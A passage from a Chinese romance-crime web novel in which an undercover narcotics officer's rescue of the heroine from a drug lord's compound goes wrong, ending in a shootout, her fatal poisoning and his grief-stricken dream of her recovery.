但梁然只是扬起笑,亲昵地对老太太点头:“我知道了,我听奶奶的。” 她转头对陈沥周笑:“沥周,叔叔也是为我们考虑。” 她和陈沥周开始试衣服,出来时,两人看着镜子里互相微笑。 化妆师低头摆出装备时,他们才互相对视一眼,彼此眼里都有些紧张和戒备。 订婚提前了。 难道是因为警方被发现了,他们的计划暴露了? 那沈宗野此刻在哪里。 梁然心跳得更快,越来越紧张。 她在化妆师的配合下坐在镜子前完成订婚的妆面。 今天的气氛是她来这里这么久看起来最轻松的一天。 陆续有进出的外人,化妆师的说笑声,房间里的音箱播放的舒缓音乐……除了窗外天气不太好,是个阴天,一切看起来都是这么美好。 但越这样美好,越是诡异。 梁然的心跳得很快,总有一种不好的预感。 沈宗野那天逃了。 他是为了她才逃的,他想救她。 但是订婚仪式突然提前到今天了,连陈沥周都是刚刚才得知。 这一切会不会跟沈宗野有关? 这两天她都在想董自新为什么没有派人去抓沈宗野,是董自新没对他们说实话,还是董自新真的暂时放过沈宗野了。或者,是董自新特意没有抓捕沈宗野,想看沈宗野会做什么? 沈宗野一定会来这里救她。 想到这里,梁然的心像坠入了寒冬季。 她忽然有些害怕今天。 害怕即将到来的傍晚六点。 如果真的是这样,她希望沈宗野不要再回这里,走得远远的,去安全的地方。 第122章 第122章他熬过了那么多难熬的…… 化妆师的妆画好了,梁然的妆面精致透白,镜子里的人穿着抹胸鱼尾裙,订婚礼服是蓝色,海水一样干净的浅蓝。 梁然摘下了李富琴送的这只手镯,重新戴上了沈宗野给她的那只白玉镯子。 她提着裙摆往门口走去,门口的两名武装人员说:“陈先生还没有收拾好,他在隔壁,化妆师还在为他服务,梁小姐在这儿等一下吧。” 梁然有些惴惴不安,抿着淡笑回到座位上。 门口的两名武装人员笔直站着,一人出去接了个电话,留下一人继续守在门口。 化妆师在夸梁然长得漂亮,这样的妆容很适合她。 梁然微笑:“谢谢,方便借下你手机吗?” “我的手机在进来时已经上交给你们的工作人员了。”化妆师用英文这样说。 “这样啊,我还想着借你手机看下天气预报今天傍晚是不是会下雨。” “看天气应该不会吧,这么好的日子。”化妆师笑着。 梁然也抿起唇,和对方谈笑。 没一会儿,李富琴进了房间,见到梁然此刻的样子很是满意,说她和陈沥周像他爸妈年轻时那么般配。 梁然觉得一阵恶寒,却要维系着开心的表情。 李富琴见到她手上没有佩戴自己送的那只镯子。 梁然解释:“奶奶,这只手镯是我妈妈送的,对我意义很大,我想今天先戴这只,您给我的镯子我已经珍藏起来了。” 李富琴笑着说没关系。 梁然说:“沥周还没收拾好吗?” “嗯,他的西裤出了点问题,等下就好了。”李富琴拿出对讲机,“你们通通话吧。” “然然,你那边还好吗?”对讲里传来陈沥周温润的嗓音。 “挺好的,我已经化好妆了,你呢?” “我也快了,我应该在你隔壁。” “嗯,我在楼下的次卧。” “我在书房。” 他们的确就在隔壁,这样最好。 陈沥周低笑:“今天的你应该很漂亮。” 梁然一笑。 陈沥周问她:“然然,今天你有什么感想吗?” 今天是他们订婚的日子,四周也有这么多人,梁然不方便回答其他的。 窗外的阴云被风移开,金光落下万丈,阴天一瞬间明媚晴朗。 梁然说:“等这一刻很久了,我希望我爱的人以后永远有今天这样的好天气。” 陈沥周笑:“会的。” 梁然笑:“陈先生,你有什么感想吗?” “我希望你想要的都实现。” 门外忽然想起武装人员的劝阻声。 是陈沥周出现在了门口。 他闯了进来,举着对讲在笑。 梁然看着他。 李富琴对武装人员有些不悦,让人将陈沥周放进来。 陈沥周大步来到梁然身前。 梁然抬起眼:“怎么了?” 她实则心底很紧张,不知道陈沥周为什么突然这样冲了过来。 但陈沥周说:“我只是想多看你一眼,看看你穿这件礼服的样子。” 他比梁然高许多,弯下腰,褐色的瞳孔认真凝望梁然。 梁然明白了,对陈沥周来说今天是他们会分别的日子。 原计划订婚仪式是明天中午,按道理警方今晚就将布控在四周了,也许得知订婚提前,抓捕行动也会提前 那么今天,她和陈沥周就将彻底分别。 天使糖的制作公式是从陈沥周脑子里传出去的,过了今天,他不再是此刻西装革履、儒雅英俊的样子,他会落魄,会成为法律制裁的刑犯。 梁然懂了他冲过来的情绪,深深看着眼前的青年。 陈沥周弯起薄唇,镜片的眼睛温润带笑。 他以后不会再有机会这样近距离地看梁然了。 梁然懂他的心,懂得他的情感。 她抿起红唇,也认真地看着陈沥周,桃花眼闪烁起柔和的笑。 她从来没有轻慢过他的喜欢,不管是从前还是现在的伪装,她都在尊重他的感情。 陈沥周知道的。 梁然的桃花眼温柔而郑重,带着这份感激。 于陈沥周而言,他不知道他是从哪一刻错过梁然的。 他也从来没有机会亲口问梁然,她爱沈宗野哪一点? 爱沈宗野警察的正义吗,还是爱他英隽的外表,敢死的英勇? 他不明白。 但他知道他错过梁然了。 错过她,就是一辈子的错过。 李富琴在笑他怎么这么激动,裤子都还没好好穿呢。 他上半身穿着挺括的藏蓝色西装,西裤有点问题,还没取回来,是随便穿的一条黑色西裤 陈沥周只是看着梁然,梁然对他微笑,他也浮起笑。 “梁然,你今天真好看。我想亲你,可以吗?” 他们这段时间演戏时也亲吻过,但每一次都不是此刻这样出自他认真的询问。 梁然说:“可以。” 陈沥周吻了梁然的额头,吻了她的脸颊。 他看着她饱满嫣红的嘴唇,最终还是没有吻在她唇上。 他抬起头,轻轻地笑了。 武装人员在外面说西裤修补好了。 李富琴也催陈沥周先去弄好了再过来,她亲自将陈沥周送过去。 房间里又只剩下梁然和两名化妆师。 门外响起了脚步声,是端着下午茶进来的妇女和青年。 梁然之前也在董自新的客厅里看到过这些熟脸,但这两个青年倒是没见过。 他们把下午茶放下,其中一个青年经过梁然身边时,托盘不小心撞到她,茶水溅到了她手臂上,青年惶恐地说对不起,忙用白手套替她擦拭。 一张纸条在这间隙里塞入了梁然手心。 梁然抬起眼,青年已经跟随这群人离开。 她借口去卫生间,看到了手心里的纸条。 “跟着他出来,沈” 梁然心跳很快,将纸条冲进了马桶。 沈宗野真的来救她了。 但是这里守卫重重,他怎么能救出她? 今天就是抓捕的时刻了吗? 梁然回到房间,她没回来两名化妆师不敢动桌上的食物。 梁然招呼他们先吃东西。 李富琴来到门口,眯眼笑着让梁然多吃一点,晚饭要过了仪式才吃,轮到她吃上晚饭都得晚上七八点了。 梁然甜甜地笑着。 李富琴对两名化妆师说:“沥周的衣服还是不合适,他换了一套白色的西装,你们来为他重新做个造型吧。” 化妆师起身出去。 屋里只剩下梁然,门外依旧守着那名武装人员,不一会儿,刚才给梁然送纸条的青年来到门口。 梁然心跳得更快了。 青年站在那名武装人员对面,一起守在门口。 那名武装人员盯着他一会儿,问他:“你是谁?” “董爷让我来的。” “好像你不负责这里?” “我打电话,你问徐叔。”青年拿出腰间的对讲,走到武装人员那里递过去。 梁然还没看见他是怎么出手的,那名武装人员瞬间在他的消音枪下倒在了地上。 梁然猛地提起裙摆起身。 “跟我走,沈宗野来接你了!”青年顾不得解释,沉声说。 梁然跟在他后面,门外已经没有把守的人员了,门口倒了两名持枪的看守。 梁然紧跟在青年身后,拐出这栋楼:“他在哪里?” “在我们的接应口,这里有我们的人!” 梁然一刻也不敢停下,紧跟青年:“安全吗?” “你别管,速度快一点。” 四周一片寂静。 一路顺利。 梁然忽然停下了脚步。 这种诡异的顺利让她的理智回笼,她忽然生起了不妙的质疑。 沈宗野如果要来救她,要给她纸条,他不会落下他的名字啊。 他落下的记号不是“沈”,应该是那轮弯月。 与此同时。 在树林的尽头,沈宗野已经在中午时分跟随傅寒安插在这里的眼线进入了董自新这块地盘。 失去医疗监护的身体还是有些发烧,出发前沈宗野吞下了大量的退烧药与抗炎药,这会儿身体状态好了很多。 今天的天气阴云密布,但这会儿放了晴,金光万里。 沈宗野带人穿过树林,等在一处安全的地方。 他的计划是五点钟开始营救梁然。 他担心六点的抓捕行动一开始,梁然会被董自新当做人质,或者被泄愤折磨。 只是傅寒的人去打听完消息,紧张地告诉他:“现在就是最后的机会,再晚一点那男的和女的就被换到别的房子里去了,守卫更严了。” 沈宗野看了眼Amber给他的手表,才下午三点。 “傅爷安插在这里的人手已经到里面接应了。” 男人还在催沈宗野:“上不上,你不会是忽悠我们傅爷吧?不把那会制毒的男的带回去,你我都得死!” 沈宗野问:“订婚的男女在哪栋房子?” “这片树林尽头,现在是他们换岗的时候。” “内应在哪?” “内应能混到那男的女的身边,把他们先带出来。” 沈宗野素来很警惕,依旧问:“内应几个人,有枪吗?” “傅爷只有四个人在这里,但都有家伙。” 沈宗野问完了所有疑惑,没再犹豫:“检查枪支,走!” 他顺着傅寒安插在这里的人清出的一条路,隐蔽前行,来到那栋梁然和陈沥周居住的房子。 一阵风起,他忽然听到了梁然熟悉的声音。 “陈沥周,我想大声对世界说我喜欢你,我要永远和你在这里,在一起!” 她的声音从未这样高扬。 沈宗野锐利的眼眸一沉。 中计了。 “撤!” 他的心凉到了极点,指挥大家先退。 他太懂梁然了,这一声是梁然在提醒他他中计了。 梁然在告诉沈宗野别靠近这里。 她反应过来可能是计,灵机一动,这样高喊。 她放下长长的鱼尾裙摆,转身要往回走。 带他过来的青年忽然将枪怼在她后颈。 冰冷的枪口贴着皮肤,梁然浑身一僵。 与此同时,晴空里惊起一片枪声。 四面八方突然围过来董自新的武装人员,朝沈宗野的方向无差别射击。 沈宗野隐身躲避,持枪瞄准子弹来的方向,击中两名董自新的人。 他快速往来时的路撤退,但路也被堵死。 藏身的这堵墙已经被子弹击得千疮百孔。 沈宗野翻身滚到一棵大树背后,傅寒的人忙朝他凌空丢过来一把枪。 沈宗野躲避着子弹,对准董自新的人射击,又一人倒下。 他的子弹打完了,迅速扔掉枪,换了刚才接住的这把枪。 可他脸色一变。 枪里没有子弹! 明明他提前检查过他们所有人的枪支! 而躲在那堵墙后的傅寒的手下全都放下了枪,其中以前跟过老单的那名熟人看了眼沈宗野,无声在说“自己保重”。 是计。 是董自新和傅寒两个人的计。 沈宗野的心沉到了谷底。 他直接从大树后站了出来。 双手高举,赤身面对无数枪口。 阳光一点点隐入了云层里,天空乌云密布,草地上没有了阳光。 沈宗野毫不犹豫地走向他们。 他可以死。 但是梁然不能。 是他中了计,连累了梁然。 四面八方的枪支都朝他瞄准。 人群后面传来董自新放肆的笑。 武装人员移开,让董自新进来,一把椅子摆在董自新身后。 董自新坐下,好笑地睨着沈宗野。 “游戏好玩吗?” 沈宗野说:“好玩。” “你是真想劫持沥周找我报仇,还是特意过来带你以前的女人走啊?”董自新问。 沈宗野冷笑,满眼狠戾:“早就看不惯你了,老东西,我拼了命逃,就是想把你最宝贝的儿子弄死。” 董自新沉下脸:“死到临头还嘴硬,梁然是为了你来找沥周的吧。刚才我的人给她一张纸条,上面写的可是你的名字,她二话不说就来了,看来她和你的感情比对我儿子还要深。” 沈宗野的心沉到冰底。 梁然被人押到了这里。 她看着沈宗野。 沈宗野太久没有再见到梁然,他熬过了那么多难熬的日夜,却是在这里见到她。 梁然今天很漂亮,她画着精致的妆,穿着合身又高级的鱼尾裙,是蓝色。 是他临走前她说过蓝色。 梁然在看他,阴天已经没有刺眼的阳光了,但她的睫毛像是承受不住光的照射轻轻颤动。 沈宗野率先移开了眼,他不敢和梁然相认。 他冷冷盯着董自新:“怎么弄我随你便,栽你这个计划里我也不亏,至少让我知道我以前跟的人还有点脑子。” “不和老情人叙叙旧?”董自新看梁然。 梁然也移开了视线,拖尾裙摆太长,她的手握着腰间的裙摆,藏起指节的颤抖。 “我和他已经分手了,我爱的人是沥周。” 董自新恶狠狠问:“那为什么字条上写着沈,你跟着来?” 那是梁然太担心沈宗野了,刚才那么急迫的时机里根本没有机会做出理性的判断。 但是就算那张纸条上画着弯月,不是写的沈宗野的名字,她也会中计。 还有,就算没有那张纸条,也会有别的计等着她。 董自新早就怀疑她了。 没有人可以改变一个毒贩的多疑,她和沈宗野注定会经历此刻。 董自新冷声质问她:“沈宗野逃的时候,我问你对他了解多少,你告诉我他厌恶男人对他有性趣,你们互相真了解啊,正大光明在我面前恩爱。你对得起沥周么?” 梁然不知道沈宗野是用了那个办法逃脱。 她是随便说的,随便乱猜的。 她看向沈宗野,所有情绪都不想再藏了,她苦笑了下,又扬起带着一点娇嗔的笑,在怪沈宗野怎么好意思用那个办法,她还随便就猜得那么准。 沈宗野薄唇微抿,深邃的眼眸紧落在她身上。 他没有回应她的感情,他还是冷恣狠戾的。 他想救她。 董自新将一把枪扔到梁然脚边。 “自己开枪杀了他,我让你和沥周完成订婚,如约送你们去纽约,你妹妹你朋友就没麻烦。” 梁然捡起枪:“怎么开?” “上膛了,直接往里扣。” 梁然的手指扣进去。 沈宗野朝她冷笑:“栽在这里我不亏,射死我,给我个痛快。” 梁然慢吞吞抬起枪。 第123章 第123章“梁然,你不要丢下我…… 沈宗野知道她不会朝他开枪的,他的眼眸已经开始紧张,绷不住一个专业缉毒警察的戒备,但仍想极力告诉梁然不要犹豫。 他恣意地笑了:“董叔,你的枪里有几发子弹?不会是零吧。” 梁然的手一抖。 沈宗野在提醒她别上当吗? 但她没有办法把子弹对准沈宗野。 她不敢去赌。 她抬起颤抖的手,猛地瞄准了董自新。 手指扣下的刹那,她的枪被董自新的人击中。 而她射出的枪里根本就没有子弹。 董自新哈哈笑了,这道诡异的笑声戛然而止,他瞬间变脸:“还说她不爱你,这可真是爱得死心塌地呢。” 子弹的冲击波让梁然倒在了地上。 董自新已经满眼的杀气,歪头示意左右押住梁然。 沈宗野箭步冲向梁然,不再隐藏所有情绪。 子弹朝他射来,他闪身躲避,招招凌厉。 他们把枪对准梁然的额头,让他停下。 “你冲我来!”沈宗野说,“一切都是我策划的,跟她没关系,是我看不惯你把我当警察往死里整,我恨不得报复你全家!” 董自新冷笑,丝毫不再信沈宗野的话。 梁然蹲坐在草地上,裙摆绕了一地,无声地看着沈宗野。 沈宗野目光灼灼,终于对她勾起薄唇笑:“对不起,然然,连累你了。” 董自新好笑地看他们上演生离死别。 “我说过了,背叛我的人,我会让他死得很惨。” 远处忽然传来躁动声。 陈沥周的声音远远传来,终于闯入了人群里。 他挟持了李富琴,用梁然送的那只银白色钢笔。 董自新几乎暴跳如雷,阴沉沉盯着奔向这边的陈沥周。 陈沥周挟持着老太太终于来到他们这边。 泪水纵横在李富琴苍老的脸上。 今天的计沈宗野和梁然不知道,陈沥周也不知道。 从化妆开始陈沥周和梁然就被分隔在隔壁两个房间,原本以为相邻着没什么问题,但陈沥周的西裤又出错了,李富琴让他去董自新那栋楼里,造型师把新的西服拿到了那里。 陈沥周从来都不放心把梁然一个人丢下,但因为信任他奶奶,匆匆过去,才发现他被设计了。 李富琴知道今天的计划,却瞒着他。 而在梁然大喊那句“陈沥周……我要永远和你在这里”时,陈沥周知道了梁然有危险。 他在那间房子里质问李富琴为什么要这样,李富琴说是为了他的幸福。 李富琴说:“你爸爸说今天就能测出梁然是不是真心对你,像她这样有文化有学问的女人,一定要安分守己对你,我们才能放心。” 陈沥周愤怒地质问:“那我妈妈呢?我妈妈在你们眼里也是这种有文化有学问的女人,也是不安分守己的女人吗?” 他质问李富琴他妈妈到底是怎么死的。 李富琴有瞬间的慌乱,安慰他时,陈沥周借机用随身携带的钢笔劫持了她。 他从来没有想过会有今天这一幕,他会劫持他的奶奶。 老太太痛哭失声,持枪的人员也在瞄准他。 陈沥周说:“你们敢开枪,我倒下了也会爬起来杀了她,她是我杀我妈妈的凶手,我敢出手!” 他不敢的。 他不敢动奶奶。 他可悲地想,他还是爱奶奶的,哪怕这个老人对他妈妈进行了非卖买卖,这么多年养育的恩情还是控制住了他这双无法狠毒的手。 李富琴好像看出了他不敢动手,也像铁了心要他认清梁然的面目,呵斥那些武装人员放他来这里。 陈沥周手上的钢笔尖抵着李富琴布满皱纹的脖子。 董自新眯起眼眸,呵斥他放下。 陈沥周紧张地看着被控制住的梁然和沈宗野,视线重新回到董自新身上。 “你放他们离开,我就放奶奶。” 董自新眯眼冷笑:“她是你奶奶,把你养大的人,你真的敢对她下手?” 陈沥周的手指在颤抖,他比李富琴高出很多,尤其是低头时能看到李富琴脸颊的泪水,看到她花白的头发和脖子上那串菩提子。 他的世界彻底地颠倒。 黑和白已经错乱。 “为什么?她是一个拐卖人口的人,她为什么还吃斋念佛?” 董自新怔住,眯起眼眸。 陈沥周声线颤抖,质问:“我妈妈是怎么死的?你告诉我!” “放了奶奶,我告诉你。” 陈沥周没有松手,紧握的钢笔尖刺破了老人的皮肤,有血缓缓流出。 董自新没说话,狠辣的眼眸示意手下对陈沥周出手。 “别过来!我妈妈叫童习贞,她不叫李小静!她是苏州人,她不是云南人,她是华大的学生,她不是农村妇女!我什么都知道了,我不会再信你的话,我不会再信奶奶。” “你把梁然和沈宗野放了,否则我……” “董爷!” 徐川忽然冲入人群,奔跑向董自新,他脸色已经巨变,将手机交到董自新手上。 沈宗野眼眸一沉。 徐川这么急迫,是发现了今晚六点的抓捕行动? 果然,董自新听着这个电话,倏然眯起眼眸朝沈宗野射击。 沈宗野凌厉地侧避,但还是被子弹穿透肩膀,巨大的冲击波让他倒在地上,鲜血从他肩头枪伤上喷溅。 他正要去夺身边那人的枪,但董自新把一支注射器对准梁然的肩头。 “你试试我和你谁快。” 沈宗野不敢妄动,距离那人明明只有半米,他只能彻底停下动作,盯着梁然肩头那支注射器,面部肌肉都在惧怕中抖动。 “董叔,你冲我来,我的命给你!” “今晚六点,国内和当地的警方来抓我?”董自新恼羞地打断沈宗野。 “哈哈好天真,你们太高看这边警察的能力了,想抓我,没那么容易!”董自新倏然变脸,从大笑到狠辣,浑身都是杀气。 沈宗野知道计划暴露了。 他彻底没有了希望。 这里是境外,不是国内。 董自新有保护伞,这通电话就是那边打来的。 现在能救梁然的只有陈沥周。 沈宗野迅速说:“保护然然!” 陈沥周已经丢开了老太太。 扑向梁然。 梁然也意识到了危机,奔向沈宗野。 可还是晚了。 董自新就在她身后。 他把注射器推进梁然肩膀。 他拽起陈沥周,大步离开。 后背倏然的疼,心脏有一瞬间的停滞,紧接而来疯狂地跳动,汹涌的心跳快要穿破了肋骨。梁然张着唇,连呼吸都好像不会了。 “然然!” 沈宗野冲向梁然,不顾袭向他的子弹,滑跪到梁然身前,接住了她倒下的身体。 突然一道枪声惊起。 射偏了朝沈宗野射击的枪。 头顶传出巨大的螺旋声。 沈宗野抬头,一架直升飞机盘旋在顶空,机身上印着五星红旗。 可沈宗野没有觉得庆幸。 他知道风声走漏了,当地警方有巨大的变数,这架直升机应该先去拦董自新才对,护不了他多久。 果然,直升机上的特警短暂地解决完他这边,已经调转方向朝董自新逃开的路线盘旋。 “然然,我带你去医院!我们去看医生,你别怕!” 沈宗野迅速收缴四周的枪,那只手指残疾的左手抱住梁然,躲避在一棵树后,右手的枪击中向他射击的那些人。 树林里鸟群惊散,飞向乌沉沉的天空。 梁然张大了嘴唇,她想呼吸,她无法呼吸。 沈宗野吻住了她,把空气渡进她口腔。 他的嘴唇是滚烫的,他的怀抱也是炽热的,耳边枪声一声接一声地响,好吵啊。 但是梁然终于抱到沈宗野了。 他们在一起了,她终于见到了她爱的人。 是的,她爱他。 他们从来没有说过我爱你,沈宗野没有对她说过,她也没有对沈宗野说过。 但是她爱上他了。 不知道从哪一刻爱上他的。 梁然的瞳孔终于恢复了焦距,视线落在沈宗野脸上。 她看到阴云密布,看到顶着天地的沈宗野。 起风了,细雨坠落,浇在她脸上透着舒服的凉意。 耳边好像有螺旋桨的声音,有巨大的枪声,乌沉沉的天无数的飞鸟受惊掠过。 梁然紧紧抓着沈宗野的衣服,她怕她握不住他就会离开她。 “沈宗野,我们成功了吗?” “成功了,我们成功了。” 梁然不知道她在哪,四周还是一片绿色,是树林,是草地,是盎然的绿野。 她把焦距的视线努力落到沈宗野身上。 “你受伤了吗?” “我没有,梁然,我没有受伤,我带你去医院!” 沈宗野穿过这片枪林弹雨,眼眶一片猩红的烫,脸上早已经分不出是泪水还是雨滴。 梁然摸到他棱角分明的脸颊,抚摸他下巴青色的胡茬,摸着他滚烫的体温。 身体好像没那么难受了,呼吸也变得轻松了,她看着天空这场雨。 她第一次见沈宗野的时候就是雨天。 “警察来了,我们得救了!” 沈宗野低沉的嗓音响在梁然的耳边,她听到了他声音里的颤抖,她握住他的手:“你别这样。” “沈宗野,我感觉我好多了。” “我们上救护车了!” 梁然定睛看了眼,他们真的上了救护车。 她也看到了沈宗野肩头和手臂上鲜红的血,刚才太难受了,她没留意到沈宗野是怎么过来的,但现在他们终于安全了。 梁然的眼角沾到了沈宗野的一滴血。 沈宗野颤抖地抚摸她脸颊,擦去这抹脏。 梁然说:“我没事了,我真的觉得好多了,你别这样。” “见到你,我好高兴啊。” “然然,我也是。” “沈宗野,我的裙子好看吗?” “好看。” 梁然笑着。 沈宗野紧紧抱着她,不敢松开手。 …… 这场跨国抓捕行动原本所有手续和流程都得到了特批,很顺利。 但还是因为当地警局泄漏了消息,传到董自新这里,致使抓捕中途出现意外。 董自新和当地武装势力勾结,他的地盘上有无数的武装人员。警方采取外攻和跳伞的手段,牺牲了两名当地与国内的警察,还是没能抓捕董自新,让他被赶来的保护势力带走,逃离了追捕。 现场围剿的贩毒武装人员有八十九人。 傅寒那七名马仔都被缉捕。 从董自新的毒品王国里搜出大量的毒品与制毒化学品,数目之大尚在清查中。 现场抓捕到李富琴,她被带回国内进行审问。 消失的董自新与陈沥周等人还在通缉中。 梁然的伤势严重。 沈宗野带着梁然回到了国内。 梁然在医院里抢救了七天,她被注射了毒品,抢救的过程凶险万分,ICU进出了三次……万幸的是专家团队终于替她成功解毒。 梁然终于醒了过来,身体逐渐恢复。 沈宗野这些天白天黑夜都在病房里守着梁然,一刻也不敢离开。 梁然摸着他的脸笑了起来:“胡茬好丑哦。” “嘴唇都起皮了。”她的手指抚摸着沈宗野干裂的薄唇。 沈宗野紧紧抱住梁然,埋在她脖颈里哭。 “对不起,我让你受苦了。” “没关系,沈宗野,我不是已经好了吗。” “对不起……” “那不如把你的对不起化成行动吧,放到我们以后生活的每一天里。” 眼泪顺着沈宗野挺拔的鼻梁滚落,他笑着点头。 梁然的身体恢复过来,她不爱留在医院观察,和沈宗野回到了南城。 沈宗野伤还没好,不用参加后续的工作,他也不想在医院里养着,硬要回梁然的家来陪她。 梁然说最近落下了好多工作都没处理,要画设计图。 “那你什么时候画好啊?”沈宗野有些失落,眼巴巴站在书房门口,“我想和你待在一块儿。” “那你进来呀。”梁然握着电容笔笑。 沈宗野坐在了书房落地窗前的椅子上,安安静静陪梁然。 梁然垂下睫毛,认真工作的样子特别可爱,沈宗野忍不住弯起薄唇,用手机拍下她专注可爱的样子。 快到下午了,沈宗野去厨房做晚饭,梁然也终于忙完了,从背后环住他的腰。 沈宗野转身将她抱紧:“然然,我每天都在想你。” “沈宗野,我也是。”梁然笑。 沈宗野俯身亲吻梁然的唇,他撬开她齿关,强势地闯入占有,手掌按住她纤细的腰。她依旧和从前一样,浑身都散着香,皮肤软软的,他每次都亲不够。 他把燃气的火关掉,手臂从梁然蓝色的裙摆下穿过,横抱起她回到卧室。 灯光覆在梁然白皙的皮肤上,她眼底的春光盛情明媚,沈宗野左手的小指挑起她肩头细细的蓝色肩带,俯身亲咬她。 梁然有轻软的喘,像从前的每一次一样。 她勾住他脖子,吻他的喉结。 沈宗野呼吸粗沉,仰起脖颈给到了极致。 天暗了下来,窗外的霓虹灯影把夜晚照得绚烂。 沈宗野伸长手臂,梁然自然地枕到他臂弯里。 他亲了亲她额头:“累不累,我去给你做饭。” “不累,我不饿。”梁然圈住他的腰,“我想这样听着你的心跳声,沈宗野,我每天都在想你。” 沈宗野也舍不得和梁然分开,搂着她睡了过去。 第二天,他醒来时床边空空的,被子掀开了一角,梁然不在身边。 “梁然!”沈宗野冲出房门。 “我在给你做早餐。” 梁然正在厨房煮粥,回头弯起红唇。 沈宗野怔了好久,从身后将她轻轻拥住:“这些让我来。” “你不在的时候我已经学会做饭了,简单的我都会做啦。” 梁然很少和沈宗野这样娇嗔地说话,她的性格一向清冷理智,鲜少有这么明媚娇嗔的一面。 沈宗野扬起薄唇,紧实的手臂强行将梁然搂到怀里,俯身吻咬起她两瓣娇红的嘴唇。 梁然呜咽了一声,任他吻着。 最后砂锅里空空的,还是沈宗野自己煮好了粥。 梁然笑着说最喜欢他做的红糖黑米粥,她已经很久没有吃过了。 “以后我都会给你做。”沈宗野笑。 梁然看了眼窗外,阳光明媚,城市的白昼繁华又盛大。 “沈宗野,我们的新家已经装修好了,我还没去看过,等下我们去吧。” “好。” 沈宗野去衣帽间换衣服。 梁然进来挑了她喜欢的中式衬衫给他:“我想看你穿这个。” 沈宗野抿起薄唇换上。 梁然说:“胡子得刮一下吧!” 沈宗野照了照镜子,还真的忘了刮长出的胡茬。 他去盥洗室里找电动剃须刀。 门外响起了门铃声。 沈宗野忙放下刚拿起的剃须刀走出房门。 梁然正要去开门。 他懒洋洋地将她拽回了胸膛里,鼻尖触碰着她脸颊。 梁然:“可能是季阿姨来了,我去开门。” “我只想我们两个人。”沈宗野嗓音低沉,轻轻咬住梁然的耳廓。 梁然白皙的肩膀微微耸起,她的耳朵太敏感,想要躲。 沈宗野横抱起她,将她关进了卧室。 门铃还在响,梁然倒在柔软的大床上,望着他好笑地挑起眉。 沈宗野眯起眼眸,解着衬衫纽扣,拽过她白皙的脚踝…… 新家又没有去成。 梁然连床都下不了。 沈宗野将她圈在臂弯里,懒洋洋地睁开眼望着夜色与她。梁然的脸颊有些红,沈宗野嗓音低懒:“我是不是太黏你了?” 梁然好笑地弯起唇。 “然然,你别离开我。”沈宗野紧紧圈着梁然,用力到手臂轻轻泛着颤抖。 梁然说:“当然不会,我会一直在你身边的。” 梁然转着他无名指上的情侣戒指:“沈宗野,我们结婚吧。” 沈宗野猛地抬起眼眸,喉结滚动:“好,然然,我们明天就去穿婚纱。” “嗯!”梁然懒洋洋蜷在他肩膀上,“沈宗野,你把我折腾得好困哦。” 这句话让沈宗野的耳朵烫了起来,梁然闭上了眼睛睡着了,没有看到他耳朵已经发红。 门铃又在响,沈宗野害怕吵到梁然,轻轻下床关掉了智能系统。 朝阳升在窗外的云层中,南城的夏日阳光明媚。 沈宗野早就已经醒了,但他不敢睁开眼,直到光太刺眼了他才慢慢将眼皮睁开。 梁然蜷在他肩膀上,乌黑的卷发散落在枕边,睫毛轻轻阖着,睡得还沉。 沈宗野轻轻一笑,小心地下床去煮了她爱吃的红糖黑米粥。 粥煮得很稠了,梁然系着蓝色的睡袍走出房门,白皙的脸颊有被枕头压过的红。 沈宗野看着她,她说早安。 他一笑。 “然然,吃完早餐我们去穿婚纱。” “好啊,沈宗野。” 门铃突然又响了。 这次不是门禁系统的声音,是很强烈的敲门声,而后变作急促的拍响。 梁然有些无措:“沈宗野,你去开门吧。” 她深深地看着他,桃花眼浮起笑:“没关系的,你去开门。” 沈宗野皱了皱眉,走向梁然:“估计是哪家敲错门了,然然,你去换衣服吧,我带你去穿婚纱,我们去拍婚纱照……” “然然?” 梁然站在那团光里,白皙的身体忽然变得透明,一点点地消失。 沈宗野愣在原地,冲向她站过的位置,穿透了空气。 他猛地回身,冲进卧室去找,梁然不在。 他冲进衣帽间,梁然也不在这里。 他冲去书房,葡萄的猫窝,次卧,露台…… 他冲回客厅,房门被管家打开,进来的还有谢天明和江凛。 “然然!” 沈宗野大喊:“梁然,你出来。” “梁然,你别躲了,你出来吧。” “你别丢下我,你出来啊!” 沈宗野疯狂地在房间里到处找梁然。 江凛拽住他手臂:“她死了,她死了,淮宗,你别这样!” 谢天明黯然地站到他身前:“沈哥……你再不去就看不到她了。” 沈宗野僵硬地望着他们,他们在说什么? 他的脑子里突然响起嗡鸣的声音,像耳鸣,像电流,尖锐地刺痛了耳膜。 他痛苦地抱住头,身体里的玻璃碎渣绞痛了腹部,他站不稳,直直栽倒下去。 他想起来了。 梁然死了。 她死在了他怀里。 死在20号的清晨。 她被董自新注射了蓖麻素蛋白。 无法解毒。 那天警方终于赶来,他抱着梁然上了救护车。 他们辗转进了曼谷最好的医院。 但医生说她中的蓖麻素蛋白临床上没有医学可以解毒。 梁然的眼睛本来是闭着的,也许是感应到了沈宗野的难过,她努力地睁开眼。 她脸颊的皮肤白里透红,那红泛着异常,她轻轻抬起输血的手,沈宗野连忙握住她。 眼泪从他眼眶汹涌滚下。 梁然认真地打量他,在看他的脸颊,看他的胡茬,看他包扎好的肩膀,看他断掉的手指。 她每一道目光都在他身上,眷恋又贪心。 “沈宗野,你别哭。” “梁然……”沈宗野说,“对不起,对不起,我带你去更好的医院,我带你去找我妈妈!我现在就买机票!” 沈宗野慌张地找手机,才发现他没有手机,旁边的同事忙将手机递给他。 他慌张地输起方昭意的号码,但手机被梁然轻轻握住。 “沈宗野,我会死吗?” “不会的,我不会让你死!” “但是医生说不能解毒,我听到了呢。” 梁然的声音很虚弱,轻轻地笑着。 眼泪从她眼角滑落。 她说:“董自新被抓了吗?” “被抓了。”沈宗野胡乱地说。 “那就好。”她忽然浑身抽。搐,有血从她身下流出,是控制不住的尿液,是血尿。 医护人员入内抢救梁然。 沈宗野被生生拖出了病房,梁然的眼睛落在他身上,她那么眷恋地看着他。 后半夜,她终于醒过来。 沈宗野一动不动看着梁然,他的眼白全是红色的血丝,薄唇抖动得说不出话。 是梁然安慰他:“沈宗野,我想回南城,我想回家。” 沈宗野嘴唇颤抖:“好,我带你回家。” “外面天黑了吗?” “嗯,是晚上了。” 沈宗野忽然落下了眼泪,他背过身,宽阔的肩膀在颤抖。 梁然握住了他手指残缺的左手。 她抚摸他残缺的小指和中指。 “沈宗野,你别难过。” “对不起,梁然,你不要说话了,我会带你回家,我已经让同事买机票了。” “对不起。” “你不要说对不起了,是我愿意的。” 梁然的眼皮松散地撑开,看向天花板,灯光那么刺眼,她不适应地缩着眼球。 沈宗野在痛苦,她知道。 她就努力地笑着问他:“这次你会不会领到一等功呢?” “梁然……” 